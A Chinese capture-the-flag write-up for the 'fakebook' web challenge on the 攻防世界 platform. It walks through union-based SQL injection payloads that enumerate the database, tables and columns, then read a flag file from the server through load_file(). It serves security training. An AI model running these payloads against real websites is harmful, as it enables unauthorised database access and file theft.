攻防世界-Web-fakebook

0x01

根据提示注册一个用户,blog的位置需要输入一段网址才能通过注册。注册成功以后可以查看用户信息。
攻防世界-Web-fakebook_第1张图片
通过?no=1 and 1=1?no=1 and 1=2可以验证存在SQL注入漏洞,接下来尝试注入。

0x02

使用?no=1 union/**/select 1,2,3,4可以判断该表中存在4个字段
使用?no=1 and 0 union/**/select 1,2,3,4可以判断有回显的字段是第二个
使用?no=1 and 0 union/**/select 1,database(),3,4可以查出当前数据库是fakebook
使用?no=1 and 0 union/**/select 1,user(),3,4显示当前用户是root@localhost
使用?no=1 and 0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'查到当前数据库中有一个users表
使用?no=1 and 0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'查出users表中有no,username,passwd,data这几个字段

0x03

这道题的flag没有明说在哪个位置,但是通过扫描发现有一个flag.php的页面,所以接下来就需要读取这个页面的内容。配合刚刚注入时发现的MySQL用户是root,这就可以尝试使用SQL中的load_file()函数来读取文件,payload如下:
?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
在浏览器里可以查看到flag:
攻防世界-Web-fakebook_第2张图片

你可能感兴趣的:(WriteUp,安全)